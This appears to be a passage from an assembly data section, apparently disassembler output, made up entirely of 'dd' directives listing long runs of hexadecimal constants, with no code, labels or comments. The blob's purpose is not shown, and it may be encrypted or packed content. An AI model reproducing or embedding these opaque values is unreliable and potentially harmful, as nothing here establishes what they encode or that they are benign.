		dd 0BD5273B3h, 0F48DCA46h, 2900A5D4h, 63A6112Bh, 6DA34h
		dd 425D74E6h, 40937D10h, 85AEF203h, 0D1B2ABBFh,	89C4C1FEh
		dd 15F6000Eh, 33111769h, 0CB0713C6h, 0E6414A71h, 20848C90h
		dd 7B0D01C4h, 0DBB3C545h, 3C1C20B4h, 0D121A200h, 839D6290h
		dd 0E5850694h, 115B0A08h, 0E1761D02h, 0D1DD89h,	38A49712h
		dd 9E07A00h, 1AA2B0C9h,	0FDC4041Dh, 0EBDE78D4h,	8B0EE681h
		dd 7F068B70h, 0AE6067Ch, 8885F13Dh, 0A1919A07h,	35104556h
		dd 6399443Ch, 0CF3E5EE7h, 6EEA74A0h, 6030F100h,	0E52A95AAh
		dd 3DD27A58h, 0A5008B25h, 80316596h, 3476E2C2h,	3DEAD00h
		dd 1FC026C1h, 434B096Ch, 86F799B2h, 0E198665h, 0E117A324h
		dd 3D3E1C40h, 9D00FAD6h, 0BC96CD7Bh, 889F8Eh, 1DA5A62Bh
		dd 879836E5h, 5B00E079h, 0D9E4723Bh, 190BD14h, 44C781D4h
		dd 0C16E629Eh, 4E48D873h, 36EAC100h, 0DFC95E10h, 65F700E3h
		dd 0C6B12146h, 0BA00DD7Dh, 146F9094h, 0FAA39Fh,	0D4BC722Eh
		dd 6AB33621h, 8794DB00h, 5655D0C2h, 960B3A83h, 51FAFC01h
		dd 30A7ABACh, 8D98655Ch, 83008A7Fh, 26408B2Ah, 78FB2E5h
		dd 4DFD4633h, 0BA8CB02Ch, 43171247h, 0A0004285h, 35C9D13Bh
		dd 71EF0BD8h, 0F2004C5Dh, 0FB9D6E7Dh, 80D2B938h, 0C105073Eh
		dd 1E7599ECh, 408C4B6Dh, 5CCB22DDh, 170E6A1Ch, 0E0FFF442h
		dd 2402C034h, 9C82007Dh, 99A7C435h, 1D001C54h, 5AF6F2BAh
		dd 4718078h, 0E6190731h, 0C414C056h, 0FA0339A6h, 1A6A66A8h
		dd 4AB90CCh, 20676DEh, 0CD911889h, 2CC898FFh, 0D80C0B9Eh
		dd 113472FDh, 2282002Eh, 0FA814F94h, 8D00A84Ch,	0FE0B71A5h
		dd 0D4AF59h, 1033B104h,	0D36A4235h, 0FB401100h,	0F7B3901Ch
		dd 0CAF4003Eh, 1AF648EFh, 3B3919C8h, 0CCFCA4C4h, 8C55C900h
		dd 0F58A856h, 5FF501A1h, 5E00660Fh, 65115BCAh, 0A018BB2Ch
		dd 405D6A0Fh, 0D074048Fh, 32413D6Fh, 8B4BFE00h,	7E87BAE9h
		dd 0CDAF8407h, 0E770CBB3h, 1D277852h, 80C84E54h, 0FCC1C9CFh
		dd 0A80C42EEh, 58FE5D5Ch, 0F4FE0B3h, 0A90B2D62h, 9BC5409Fh
		dd 9D0508F8h, 0EB9ACF00h, 77D9F43Ch, 4B261F6Eh,	0B05595A1h
		dd 57ABD700h, 1D1222DBh, 0B01307Ch, 6E3324Bh, 3064C789h
		dd 48C42C79h, 86C68094h, 0C16D64BAh, 7EC9BF00h,	363B676Eh
		dd 0E30005Ch, 9122F1C4h, 3900BB0Ch, 0C6856DBAh,	7A4AF29h
		dd 46E0BC7Ah, 882710F7h, 0CA7075B8h, 1CD09100h,	47AA8C71h
		dd 7F275BBh, 60A83D6Bh,	25570C8h, 5C00DD59h, 0EBFCC41h
		dd 3AD3AAh, 0CE9F44B8h,	0F19ADC1h, 4FC7A11Dh, 0B40EB556h
		dd 5A6E6040h, 7777211h,	7D9404E8h, 5856505Ch, 0F000D9F1h
		dd 3DD3B871h, 0B69ACB2h, 51530B8Ch, 0E7430B80h,	83013473h
		dd 5DC288D0h, 1AE81B4Dh, 807C001Eh, 0D33BCC1h, 2C009E9Dh
		dd 0DF99DD0Ch, 3FE991h,	0B9CF77B0h, 0E3522001h,	64CEDA0Ah
		dd 57D60457h, 3BB42041h, 67F804h, 0C709A83h, 10BA5AF8h
		dd 930B807Ah, 807D5C75h, 0AC15520Ah, 8630C056h,	97D5DD96h
		dd 0DCFF7473h, 610B432Eh, 0AC5A63h, 0D450A115h,	665600A6h
		dd 3E4DB4C4h, 2579A210h, 0D0AE70C1h, 50E820E1h,	0BC7E003Ch
		dd 33A6B598h, 415ACB09h
		dd 3A9C0B1Fh, 30BCF9Ch,	20A30889h, 8C82C170h, 70F92401h
		dd 500C1737h, 7928EFCh,	3D66D85Bh, 0FA7D3C4h, 502E51A1h
		dd 9B3E5380h, 0DEACDB03h, 8EF39EEh, 27B1AFD8h, 35D64407h
		dd 5600984Ah, 69D0A9DCh, 501306A8h, 4926E362h, 0CD5096E4h
		dd 6F0F67ACh, 60D53134h, 0D1F6FD1Ch, 6CCE2A39h,	855803BCh
		dd 272103DBh, 0A7D95110h, 0E6630A7Dh, 80D00CCBh, 39E27928h
		dd 6B1DB90Bh, 0C48095F0h, 2D139718h, 0B487B38h,	0B07510AAh
		dd 3F6E1380h, 3D02EF08h, 4649766Ch, 0E1F4A06Ah,	3B96894Eh
		dd 29B08811h, 5E855061h, 0F5179800h, 0CC0BA331h, 16FF60Fh
		dd 3787B626h, 80B7D392h, 0C01FEAD9h, 0BC3113h, 0CAFDF13Fh
		dd 5D02CF40h, 0A3D44918h, 798FF329h, 0E2F8006Eh, 0C6B630ACh
		dd 1F0048F0h, 60E9263Ch, 371DA6B7h, 0C438A004h,	0F07000CFh
		dd 0E099B1Eh, 3A2E5B31h, 0A8529F00h, 8000E304h,	0B70E6F0Bh
		dd 92714762h, 0E7E50348h, 0C5C812C4h, 7C42B6F0h, 26A82300h
		dd 0A6D2BAF4h, 0BD223743h, 12982AF1h, 313909F0h, 0A81D8410h
		dd 105BB830h, 0CA3A944h, 3AB7708h, 11380799h, 50C27927h
		dd 20B8CB69h, 0C44DDC23h, 0A2F81100h, 0F47B80C3h, 0C9B0042h
		dd 0F3F64C55h, 0BC606741h, 0E5635631h, 80B661D0h, 711473FAh
		dd 658C0145h, 769C200Eh, 524FF00Ch, 2908E9h, 28FE4B4h
		dd 749FD97Ch, 0B4ABC32Ah, 4F441D15h, 7C1475F0h,	80F83E49h
		dd 0E9D0B595h, 0EE8A891h, 1D9F06E8h, 0F956AE74h, 0BB3DF001h
		dd 66E11076h, 3D92E424h, 0B1E46729h, 0A2FC8847h, 0C5EE5A00h
		dd 0C71A09E7h, 1442F843h, 0FCD6748Ch, 40741D8Fh, 207C683Ch
		dd 622AFBDFh, 6400B0E4h, 21E1221Fh, 34613F67h, 0C019388Ch
		dd 0D903277h, 80A93Dh, 289B342Dh, 1ACA5E8h, 2CB67CE6h
		dd 0D0F6F432h, 69002152h, 0A3CCD94Ch, 1F756309h, 1C539AF0h
		dd 20585BACh, 5DB938C0h, 3616D00h, 8D635EDFh, 0F14A03Ah
		dd 4633883Eh, 0FBA0C100h, 1B2A4C29h, 9801F9F5h,	49318025h
		dd 0FD7E2728h, 8BEC1FABh, 7445004Bh, 0E7959FA0h, 10ACB100h
		dd 652CCE31h, 3440F977h, 80206872h, 59C00A40h, 0EE195DDEh
		dd 0C0331D17h, 7FA2CFEAh, 8759B083h, 0FE693800h, 0ABBA70F4h
		dd 826A39BFh, 0BD168D80h, 0B0351573h, 0E894D700h, 0F855AC9Eh
		dd 0CF2C06D2h, 5A098412h, 0FE929D00h, 40D0962Dh, 4B79C00Ch
		dd 79F3DC42h, 4D56891Ch, 0DFC5AECFh, 150063DFh,	0CB2CD8CDh
		dd 0C1D46B9Fh, 2EEB0300h, 24F8B104h, 1671A400h,	0E16B5ADBh
		dd 75483AA3h, 80CAD794h, 71097BC6h, 0B6382375h,	66C8019Fh
		dd 0BA96B982h, 11318E0h, 0B2E5BF12h, 42E9289Dh,	7B234EF4h
		dd 0C4107FEh, 4041E1A7h, 638D0E8Fh, 20B8A950h, 2589E0A0h
		dd 0AD378682h, 7C2D00B1h, 3BC8B05Ah, 0EF0713C3h, 0C5F8EC05h
		dd 0D94FDCA0h, 7A5E39h,	445FFA65h, 0D100C73Fh, 729D4007h
		dd 1D202Ah, 602E355Ah, 368093AAh, 9EDCCC00h, 0B2D04DB8h
		dd 0F5E90029h, 373FA699h, 0F879A36Dh, 0A0AAA100h, 39FAA44Bh
		dd 3093600Fh, 209D3F14h, 8A087FEh, 9FF839E0h, 0E0049F0h
		dd 0C298BF78h, 77AE4h, 32EB271Ah, 729ECA2Ch, 75B17103h
		dd 0CA31795Dh, 574481AAh, 508FBE16h, 4401BC9Fh,	82520CE5h
		dd 65AD3310h, 1CC140CAh, 0C106159Bh, 0A7001035h, 9EE3CF39h
		dd 63033DB1h, 0C5AD38EAh, 0DC5CE07Ah, 49133FF9h, 7D24BA00h
		dd 843C4B31h, 0CF3738A4h, 4780C07Fh, 0D3854Ah, 9C63E14Fh
		dd 8CF9D8A2h, 0FAB73Dh,	4EC815BCh, 1975CEDh, 0BF05E264h
		dd 8A2D9FC7h, 8C8AE941h, 93562C80h, 73224h, 58AFD9D2h
		dd 7AE13EC9h, 3183F901h, 99FEAC97h, 0AAEEDE8h, 5C1A98F6h
		dd 2EE06290h, 0B457ACA0h, 0D7004572h, 0E8CF9395h, 0FE8DA1F6h
		dd 9BB10C50h, 233061A8h, 7195888h, 94A28085h, 36AAD15Eh
		dd 98A0DAE5h, 7208E2BCh, 8A2FC600h, 0F244EA9Dh,	0EB0E0A32h
		dd 408C0C82h, 80DD5230h, 2728C860h, 0FE75B681h,	34283909h
		dd 0B71C3448h, 47DC802Dh, 0A77298EFh, 56F69A00h, 0B6452E1Ch
		dd 5177008Bh, 38FB3429h, 3F0FF3EFh, 0E04AA0C2h,	2F6E2804h
		dd 0B899C379h, 6987C29h, 40006A7Bh, 0A248BE4Eh,	908430AAh
		dd 0F7C31044h, 0C464039Eh, 80CD1C88h, 0ACE363Ah, 70E3BF47h
		dd 209760A0h, 0C8A99666h, 0FCD2D49Dh, 7AAE901Eh, 8E04B9F1h
		dd 1B7C21A7h, 7E1DE400h, 5B2BE6h, 9B0AA3CAh, 3F88FF80h
		dd 0A91CA530h, 5CE2240h, 4ED4A428h, 0AF8F00B9h,	0AB18F347h
		dd 5E25E709h, 46CC18E1h, 6985E906h, 0C0B6132Bh,	0E15B5DD2h
		dd 4F0AD30Eh, 9B6C60A2h, 1F3C089h, 0F0AE7BA6h, 60FC0176h
		dd 0B005DD11h, 0FB8A064Fh, 9F08C460h, 7029488Dh, 8402760Ch
		dd 0BD0062F8h, 0E8CD5F19h, 72459552h, 1CEF13BEh, 0E9100241h
		dd 0BC029D9Ah, 9FC8B02Ch, 774422Fh, 65737B15h, 23C31F27h
		dd 0C4191206h, 71784083h, 80265BEAh, 11DECF1Ch,	42A20880h
		dd 4949BB3h, 46E1137Ah,	30BC8020h, 0F53A0AA0h, 328A83FEh
		dd 2212F04Ah, 45072D51h, 647A4C03h, 2EDB9830h, 81DC3EC7h
		dd 6B9D7983h, 0D2A1201Fh, 5758E023h, 0B185118h,	0B91BB1h
		dd 0A5B015CEh, 3205C598h, 93A2412Ch, 58204913h,	80537318h
		dd 943CE9C1h, 0D17580CAh, 0B32759D3h, 0AB330052h, 0FB1BC27Ah
		dd 0CECB164h, 409FACA8h, 0D362D500h, 6BE18FAFh,	802C994Ah
		dd 0B843F0Dh, 0C7804CFFh, 0E93D44B5h, 80B7DC30h, 1BC7C92h
		dd 6C66BF61h, 0C86FFC38h, 83D25EDh, 9D4900E5h, 11904C57h
		dd 0D8418ACh, 209851FAh, 9DC6DF09h, 27081A50h, 0CAE04EE8h
		dd 120C5ECBh, 485B7Ah, 9EEC2898h, 244C158Dh, 8F4D7D88h
		dd 0DDBE08E8h, 0CBE98AB7h, 281F40C0h, 0C200F673h, 20D14182h
		dd 0DBF8E4h, 13CC23AFh,	0E59E763Ah, 41872099h, 61BE452Ch
		dd 7883C757h, 0DC803508h, 0E0A9C91Fh, 0D39D2010h, 39793C00h
		dd 36B086Ah, 4878078Eh,	0A09995C6h, 5F5528AEh, 717D34Ch
		dd 0B283729Bh, 404E84FAh, 0DE62F220h, 9E23000Dh, 53390AAEh
		dd 444989C4h, 0E14530ECh, 394D046h, 2AB4247Fh, 0B6C91EFAh
		dd 7840D66Eh, 78990B57h, 0A0F1CC89h, 64677530h,	13DB07F0h
		dd 0E786316Dh, 0F591D19Ah, 1C9823B9h, 413517CFh, 0F6C4ABh
		dd 9882B696h, 280A2F3Bh, 0D851EA0Dh, 0EDAD62C0h, 13F2112Eh
		dd 0F9E9C648h, 1BED00B9h, 29751332h, 40484450h,	224F003Ch
		dd 9456D1E8h, 0A0B9FA80h, 32FAB6BFh, 0B2D0096Dh, 0A52A8844h
		dd 9202B820h, 491762C3h, 3358464Fh, 4D21CA42h, 0D03306F0h
		dd 83972B00h, 0C8C57E90h, 193E44A3h, 110876E9h,	18248B78h
		dd 0B71A4178h, 2495C8EAh, 85C4724Dh, 0AC40D0CAh, 0B212AD6h
		dd 0F72702B5h, 9DFC18EEh, 36AD7080h, 191D7A2Fh,	0D93E7848h
		dd 356C00E0h, 414DC120h, 0FD86F83Ah, 27948889h,	0C30A54A7h
		dd 0D83B227Eh, 0F71009B7h, 0B8F40850h, 3B18D300h, 24DF22FDh
		dd 0C1609DD4h, 0E0AC984Bh, 0CB05602Dh, 0D115D567h, 9B2FD498h
		dd 78225Ch, 585303CBh, 70137B07h, 80C0A658h, 7855FED3h
		dd 0FF210741h, 4003F7F8h, 0E5912AEBh, 50180249h, 6D3EB08Eh
		dd 0EA0802Dh, 7442A685h, 0AAA1669h, 443C4197h, 7295A3C7h
		dd 0A22230h, 4A86E691h,	920A2124h, 0F32D6F1Ch, 55B3AA40h
		dd 2E0C80A7h, 0C07C6588h, 17727B1Bh, 35222605h,	2C04A0C7h
		dd 8CC81F57h, 0C93860A5h, 92DEAFECh, 8BDFBE00h,	0F93E3F56h
		dd 136B2967h, 6CE48090h
		dd 0AFC00E2Ah, 142D4A2Eh, 0E08B41E0h, 1891EFh, 1791BBF1h
		dd 300574Eh, 5B34E3ECh,	0A8C71833h, 0EEEAACh, 86053C4Ah
		dd 6110E98Fh, 1603E03Ch, 0DC228C21h, 2CE52FA4h,	0D1E90346h
		dd 7C906C1Fh, 5C00B1ACh, 6E27D49Bh, 12D0FF8Ah, 564D7AC4h
		dd 6C243028h, 0D500CA7Dh, 0E499FD0Fh, 4D2DE15Ch, 4B80EC76h
		dd 3E5F7BA7h, 0E5ACD214h, 0D5CD8094h, 9445F3h, 28F532EEh
		dd 0EAAC9A48h, 892A600Eh, 6227689Fh, 3C80B5CAh,	1F3D3234h
		dd 5D6DB4A8h, 2C9C4056h, 7D3EEC1Dh, 714A2F35h, 415E8D82h
		dd 0EC08418Ch, 7D3A2CB9h, 6FE5302h, 40AC9DBBh, 0F23E97h
		dd 59803C0Ch, 0F6128643h, 5D40A00h, 6098C92Fh, 1F54BB5Dh
		dd 0A65178h, 6459AF22h,	735875h, 98FE42D2h, 71B10756h
		dd 0D4705B00h, 0E75F7943h, 9832463h, 0FFB05820h, 0CEF4D907h
		dd 52005992h, 469A3575h, 9FCA13C6h, 9083421h, 39138833h
		dd 883434D7h, 0A8015EB4h, 0E043C3EAh, 9441A024h, 29B98C05h
		dd 606B7A00h, 1E31F249h, 0DA06DE14h, 0AC9D24C5h, 32124F11h
		dd 183C8982h, 3F0739F8h, 6C8D0B1Ah, 24F2881Ch, 40FCE4F4h
		dd 5A4AE6EAh, 640BCB29h, 5137E00Ch, 86FAF6h, 5DCF08FEh
		dd 65DA466Bh, 8C6ED2FBh, 0E2DE716h, 0F8F2F020h,	403C13CCh
		dd 1D284872h, 168B6480h, 3F79B1E2h, 61006D87h, 0EC2C2B0Eh
		dd 0A414ADB6h, 216CA70Ah, 49D0084Ah, 7AE74260h,	0C8CD0A7Eh
		dd 60D428A8h, 787AD3Eh,	864D260Eh, 442C01F4h, 0E018773Bh
		dd 1D312160h, 12EFE966h, 60D4DA3Dh, 10C575Ch, 0B7C7D4A8h
		dd 86309B4Ch, 0A119BD78h, 487018E0h, 8C6492D1h,	23321AF4h
		dd 0DCC16925h, 467112A0h, 34615D54h, 0D544E980h, 0D81880B1h
		dd 9A3188F0h, 7A760063h, 0CC1DBD79h, 75018ACEh,	0DBB7A531h
		dd 50348709h, 2B9C0268h, 0AE9D6AD5h, 81945051h,	7D29CA4h
		dd 50D0C801h, 0B82C23B1h, 30E32F16h, 44BCBA24h,	0DB574300h
		dd 46747F0h, 4C3A02A1h,	0FB8A115Ah, 1852DCEEh, 0D3BA6094h
		dd 7CD863Eh, 0B0F2CAFCh, 0CDAC5A60h, 3A0C64E4h,	84513C1Eh
		dd 4089DC0h, 29DCB848h,	90BC0D82h, 4BB2C8A3h, 781B1402h
		dd 4105C858h, 0E096B53Dh, 814CCh, 74E9B74Ch, 6B1F3E2Ah
		dd 982DA625h, 2131CF10h, 94804D8Bh, 2EC21375h, 3A2B447Ch
		dd 92965B27h, 327C1018h, 142F507Fh, 0D9FA688Dh,	841F10FCh
		dd 98528CD7h, 0D5C5778h, 9562B070h, 5F8424A7h, 25919Ch
		dd 0D3049119h, 9815B5E7h, 0B0A2596h, 9C89E8ABh,	160FE818h
		dd 0BA026800h, 0E0B70513h, 33891EDEh, 0EA300104h, 915E9DE1h
		dd 0C42622A8h, 57C540E8h, 3500BDF5h, 60EEBE53h,	5C637B29h
		dd 0FB114C0Fh, 678D0483h, 0A5204DBDh, 0B42956B2h, 3E40B444h
		dd 58A907Bh, 0BE39CEFDh, 17884694h, 0F217B174h,	1A00F8B1h
		dd 0A21A705Eh, 4B860087h, 575D6BE6h, 0C909F761h, 48CA9E54h
		dd 1812EF6Ch, 8C4E6C31h, 6B246D15h, 0D1131FBCh,	7D529A00h
		dd 9289C51Dh, 7EE0320h,	46F3AEFEh, 0E99C8CC4h, 9800B491h
		dd 0A6183EFBh, 1C17E84h, 919F948Bh, 33B6C7CAh, 446CC4ECh
		dd 0BE453F80h, 107D3E1Dh, 60C4026h, 0E1500B82h,	2407A52Ch
		dd 0CCCEF640h, 8FDD00D9h, 50BF883Ah, 0A104DBFEh, 4E289E49h
		dd 0B07828C7h, 51D41F60h, 0BF865E1Eh, 42C1F026h, 20727820h
		dd 22793213h, 5452C46Ch, 52403107h, 0D2E01222h,	597C12Bh
		dd 59488F6Eh, 32388135h, 855200B7h, 0F95000CBh,	42B0FF53h
		dd 90E78CCh, 0A94AD516h, 99FC14D6h, 0CF50024h, 0A0FAE013h
		dd 20890CB3h, 748C18A1h, 0C84B8853h, 103CCF2Ch,	0F6459D80h
		dd 1FD243EFh, 0A85FD23h, 11BC2D6Dh, 17340C68h, 74971CEh
		dd 0B369319h, 60D11782h, 98BE77D4h, 0EC07C403h,	85DA492Dh
		dd 24239492h, 0D34C9828h, 80981748h, 9451799Dh,	86FE2C67h
		dd 974007B1h, 341230A5h, 63016DA6h, 9A4B576Ch, 68683FE7h
		dd 895B3D80h, 6E1DD035h, 1180946Ch, 5DED8E20h, 0E8010267h
		dd 0CA98315Ch, 0D000B044h, 8990B053h, 0B0F8F2Ah, 8155EF4h
		dd 4505A84Ch, 53E94678h, 522FA860h, 0CDE52A44h,	0F2C50084h
		dd 72358641h, 0D3E6C81Ah, 0C6BFF40Fh, 46680029h, 9876CBB6h
		dd 13572694h, 203C5938h, 8F4A900Ah, 5C21B060h, 2EDCA4F8h
		dd 60F0357Fh, 2F58EC97h, 2420FE5Ah, 7403B38h, 20AA3280h
		dd 5C6E90FCh, 0B047B66h, 3E0FB43Ah, 0C50A0F2h, 5F3703DFh
		dd 9EA7AB11h, 248D75E1h, 0BC942864h, 0CF853EC0h, 590409A3h
		dd 9C4955ADh, 96A180F7h, 0C1A3F8A1h, 64EE0F0Fh,	43B62BB1h
		dd 9513226Ch, 40185924h, 11C6A40h, 302B004Ah, 2BA7B44h
		dd 580085B3h, 0B417C6DAh, 0B13AA831h, 1C6080D4h, 0A0A24A98h
		dd 19353B2Dh, 0B8673F64h, 0D7981078h, 0A84D002Dh, 0E20EE916h
		dd 521307B7h, 90A58FFBh, 0C3F9CEF8h, 9A35BE0Bh,	40109920h
		dd 0D262439h, 6C546078h, 10712B3h, 0DB07AD7Bh, 73FE5FC0h
		dd 72920BA4h, 0C0901744h, 61E2C83Ah, 0E7387D07h, 27A19671h
		dd 88209E57h, 3732885Bh, 5413C72Ch, 92A69488h, 37ECD018h
		dd 0C300A73Ch, 8BA24149h, 1751E519h, 30EBB9B0h,	0D2985618h
		dd 68494304h, 44C242CAh, 80AF2535h, 92286008h, 0C3F1B20Ah
		dd 0CF808CA6h, 770E5C3Dh, 28482DEFh, 2D390439h,	4567C7C0h
		dd 4BB9F530h, 0E5C5AE1h, 2E717588h, 73080C27h, 60342C77h
		dd 0C0A3D90Ch, 1C56B802h, 66BF740Dh, 0E4C31504h, 35009CCDh
		dd 1C07776h, 0C400FE42h, 2857406Fh, 66BEF0h, 7D8E5FE8h
		dd 776DB92Fh, 0ECA63826h, 5AFD6440h, 7F9C77EEh,	0ABF502F4h
		dd 0D511416Eh, 933F0B60h, 89D8405Dh, 24106C19h,	50548866h
		dd 0D10FDD78h, 0AFA32E02h, 159720C3h, 6821F5h, 3916E4CBh
		dd 282631CAh, 88A144B9h, 47208027h, 0A0298032h,	8BA0A110h
		dd 3CBCF2E1h, 76951150h, 0F99BF13h, 80BC93FBh, 0F216607Ch
		dd 0A8C9619Fh, 0BB24824Ch, 6C0B0921h, 4EF3A048h, 0B3431500h
		dd 0D9ACEE8h, 4FB200A1h, 1EED60D2h, 9725682Ah, 6AD4B05Ch
		dd 0EE980519h, 0E6FE15DCh, 0F03F0010h, 3BD1A3C1h, 3DC8C9E7h
		dd 7AC45810h, 791879C0h, 3FB930DFh, 740EC6EFh, 65A03826h
		dd 121B5816h, 0B1325527h, 0DD10C87Ch, 0EB0BC066h, 0B1770h
		dd 7F8C1B74h, 39990972h, 98A009E5h, 0BDF722EEh,	0EAC71D00h
		dd 62E9BB7Eh, 2E57194h,	466DD203h, 0B8ABD42Ah, 8B9B4883h
		dd 0D8B2A0A7h, 5D5073EDh, 0F2051B4h, 43054ED9h,	212A1378h
		dd 2F4C71A8h, 2BFE6400h, 8C0BED28h, 0F8F9005Ch,	202A52DFh
		dd 8A2C75E0h, 0CAC06440h, 98933Eh, 5C0F9760h, 2235FBBBh
		dd 0D5A8494Ch, 1F57843Ch, 5DC740E4h, 8BA06CA4h,	72245F84h
		dd 0F88B45Dh, 2244908Eh, 88345883h, 26001C22h, 0E5D44DE7h
		dd 7A62F30h, 3C6DA274h,	2D36D3B6h, 0A0F0BEABh, 50012171h
		dd 28E7459Eh, 0E8685430h, 14486BD4h, 195DFF80h,	6E00F2BCh
		dd 732157B1h, 2C84AF31h, 44680A20h, 3A6471Dh, 0A9334AA0h
		dd 0E927019Eh, 3A074B8Fh, 2B429226h, 448BE08Ch,	355A6D28h
		dd 6498D816h, 84BD016Ch, 2DBE8087h, 104F2BA5h, 0F822E04Ah
		dd 28CD5F5h, 0A7F07FE8h, 68E0736Ch, 35FDCCC8h, 808468DCh
		dd 204734FBh, 0C4374CDCh, 2757A322h, 383106E8h,	9C9912FCh
		dd 0DD6E4064h, 5D00453Bh, 210318E7h, 0BB6FE8h, 4B4A902Ah
		dd 3437E30Ah, 4E60400Eh, 6D2FE4C4h, 5EA71C80h, 3E51058Fh
		dd 0CAC20487h, 537310E4h
		dd 22298200h, 0C9F5D9DEh, 0F017FC00h, 0C7A97E37h, 0FB904CA1h
		dd 0CAEC305Fh, 4B4E5CBh, 24537442h, 0E64F26Ch, 4AC8C9h
		dd 7FD2D585h, 1319F008h, 758DA1D0h, 4B2C0858h, 0C4B1578Bh
		dd 32154F68h, 0BD603900h, 8EDEE098h, 94309D96h,	0EBBE79Fh
		dd 20989A0Eh, 0AA3FB380h, 9D2E39C6h, 0B040DCA6h, 1DE3E9C5h
		dd 0BBB46C68h, 52DCAB80h, 0B6331130h, 87DDF314h, 0DCB4A594h
		dd 0C40B0083h, 40F2F24h, 0B84E0231h, 1038B832h,	700B3E15h
		dd 0C1EEAC9Dh, 0E1A58F70h, 7400B044h, 0A8534495h, 2791CB63h
		dd 0E494C0D1h, 80C00648h, 89347EC8h, 15A901A0h,	0CA462E68h
		dd 0A04D037Fh, 5A1C46Fh, 0E2EB1AA8h, 0BD158010h, 8476549Bh
		dd 0A6D67C09h, 0FC188089h, 9E0FF351h, 3C840D0h,	0F93EB4F2h
		dd 0C52F0092h, 0F4B70D0Ah, 9AAB2491h, 524EE2A0h, 0F8B6722Eh
		dd 84000622h, 57F6732Eh, 0D59E78h, 0FD40C953h, 87542BB4h
		dd 1294EC48h, 0B41F6D8Dh, 51BE2600h, 5049E9C8h,	8B9B982Dh
		dd 58544252h, 0B18874B0h, 161E00DAh, 0D35F9DD4h, 4F124B27h
		dd 8CD00572h, 0B8C6Fh, 7E0341F2h, 9D85253Eh, 3BD058h, 44E37BC9h
		dd 0B339D1A1h, 3E023D4Ch, 510E804Eh, 75007451h,	39AA037h
		dd 0C1B60713h, 0A01A7AF9h, 0FC46AD6Fh, 20837413h, 729554D0h
		dd 0E2A9046Ch, 0C8E5AE93h, 0CE7FA8BCh, 1738E648h, 48C8A25Fh
		dd 88F07813h, 70004CB2h, 0EE90DB9Bh, 6E1257h, 4EBC6297h
		dd 0CAB7EFF6h, 44D85C4Bh, 6A74BEA2h, 8C6608B0h,	295AD0A8h
		dd 4C304829h, 0E028BC2Dh, 272C2253h, 69878B05h,	0AE825D0Bh
		dd 4404795Ch, 8C852A7h,	9B784CB8h, 0CCF47B12h, 3F00B62Ch
		dd 44EC202Fh, 35C72DA9h, 0B0B18AA0h, 2A38B3B0h,	0C1BF8597h
		dd 0A984C871h, 1E7A308Ch, 65A27210h, 62001C6Ch,	3E5B78A4h
		dd 2686A8E2h, 50E4160Dh, 50A01483h, 0DA02BF3Dh,	19598C3Fh
		dd 443CE02Dh, 43389035h, 450B3E7Bh, 401EBAF7h, 27822030h
		dd 0C43171E5h, 13343DCAh, 0FF00C188h, 0A825B10Eh, 0C0100B33h
		dd 0F812753Ah, 420010F1h, 87D063D4h, 6DE4C8h, 4BC486CEh
		dd 0E113C991h, 0CB1DB70Eh, 5B4F606Ah, 1C63F5D8h, 0C0DAE6D6h
		dd 7FB7428Ah, 3739DD8Fh, 0F4330E39h, 0A2D34322h, 4F5AD895h
		dd 5025182Ah, 0AEC6182Ch, 0E71024Ch, 0F29C858h,	5B1D63E9h
		dd 0EFA990B0h, 0CBBC0565h, 0C054C0FEh, 0F423DED8h, 0CA296300h
		dd 850662F0h, 2DDF0043h, 0B1EC1D0Ah, 8D00EDAFh,	0CFDE96CBh
		dd 0F554F8h, 1ED56B15h,	7B03DFC6h, 845D9D00h, 0B02B22Bh
		dd 4701009Eh, 0A3666BC2h, 94008719h, 144E28E9h,	61813D21h
		dd 6415797Fh, 4900D339h, 0AC299E3Eh, 0D8E463h, 0F694C523h
		dd 5C15CB4Fh, 85293A6Eh, 200E7E47h, 0A4009161h,	4E1D204Ah
		dd 3F016FCBh, 458F7031h, 2080F54Fh, 0B37C1396h,	8E7298EAh
		dd 0E1DEC200h, 3FDC933Bh, 6FF418h, 6701B237h, 0C8804647h
		dd 70DE780Fh, 85520D7h,	75355768h, 3CA00FA2h, 6482E8ECh
		dd 0A8A0C7BCh, 7DA9BDF9h, 28130700h, 10743911h,	80CA6299h
		dd 62C1B323h, 989BF487h, 788D6C00h, 0E00A5BC7h,	4A3B189Ah
		dd 1FF428CCh, 8AE8E754h, 61F7A500h, 0BEEAD44h, 4A8514DEh
		dd 1538C4CEh, 3F6A998Ah, 38180CEEh, 57EA5678h, 8A58A000h
		dd 5DBD3A94h, 0A2292A14h, 0F8230DD8h, 0E061CA16h, 0D0A68B57h
		dd 64378503h, 0AE898D05h, 0CB7331h, 3FB74652h, 0AF14A276h
		dd 0E59F5100h, 0F587863Eh, 33A002Dh, 4076A7A1h,	54A460F9h
		dd 50A84CF0h, 1D0A9902h, 0B0D3BF92h, 4C4DB89h, 0F940AF4Ch
		dd 3A606142h, 4F2230C1h, 0F450F143h, 10CA23Fh, 5899C995h
		dd 26021F04h, 88850C30h, 53B9C3h, 0E871EC38h, 0BD584137h
		dd 2207C21Fh, 802D500Ah, 2F9DEE80h, 45E315h, 17DD90D5h
		dd 0F63CD4CBh, 0D1AADA09h, 1F44192Dh, 5B00B422h, 6ED4AFA5h
		dd 6A006369h, 0BF0A23A8h, 148194B2h, 0FC8A3C1Bh, 0C972280h
		dd 0FA00B14Bh, 67127DCBh, 5411BDB0h, 64E4C9h, 46425B9Dh
		dd 0C538B6EFh, 9EE0EC54h, 57D7B340h, 0D060D454h, 0EA3015E4h
		dd 23B86F56h, 308B0CDAh, 0DB01DE89h, 0A0266427h, 0F0E45909h
		dd 8DC000FBh, 5893C867h, 83052535h, 0BD2F571Bh,	1146009h
		dd 333F6934h, 88BB7820h, 0DD549448h, 720AD8CCh,	94E5554Bh
		dd 993F8103h, 0CE41001Ch, 9DC1F00Ah, 7A0AD301h,	0A42F509Ch
		dd 0FB078380h, 38FEE31h, 519BB5AAh, 0AE972EBBh,	3C3F7880h
		dd 24983797h, 0B9F8A100h, 0C167F3C5h, 589F07A0h, 1072B20Ah
		dd 4F4035Ah, 907AA928h,	993C3E09h, 59A820C1h, 7D52018Ch
		dd 3A103994h, 2405A2BEh, 0BC2E67h, 0EC476A74h, 0C5015C92h
		dd 24BAA3Dh, 40317766h,	80F564E4h, 31CB4E88h, 0FAFD01D6h
		dd 0EC80F827h, 45E6E86Dh, 0EA00066Bh, 3C5F1ACFh, 70CD910Bh
		dd 86549342h, 0A1D89D32h, 4C76F00h, 0AC6B08FDh,	2964A81Eh
